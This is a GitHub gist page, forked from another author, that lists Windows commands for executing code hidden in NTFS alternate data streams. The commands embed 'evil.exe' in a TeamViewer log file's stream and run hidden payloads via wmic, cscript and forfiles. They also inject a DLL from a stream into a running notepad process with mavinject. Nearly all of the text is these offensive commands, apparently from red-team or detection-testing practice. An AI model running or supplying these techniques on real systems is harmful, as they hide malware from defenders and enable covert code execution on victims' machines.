Skip to content

Instantly share code, notes, and snippets.

@wflk

wflk/Exe_ADS_Methods.txt

Forked from api0cradle/Exe_ADS_Methods.md
Last active January 16, 2020 06:43
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save wflk/1ac6d326ad284bd9aaa2258d6a3cad6e to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save wflk/1ac6d326ad284bd9aaa2258d6a3cad6e to your computer and use it in GitHub Desktop.
Download ZIP
Execute from Alternate Streams
Raw
Exe_ADS_Methods.txt
#Embed file to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
#Executing
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment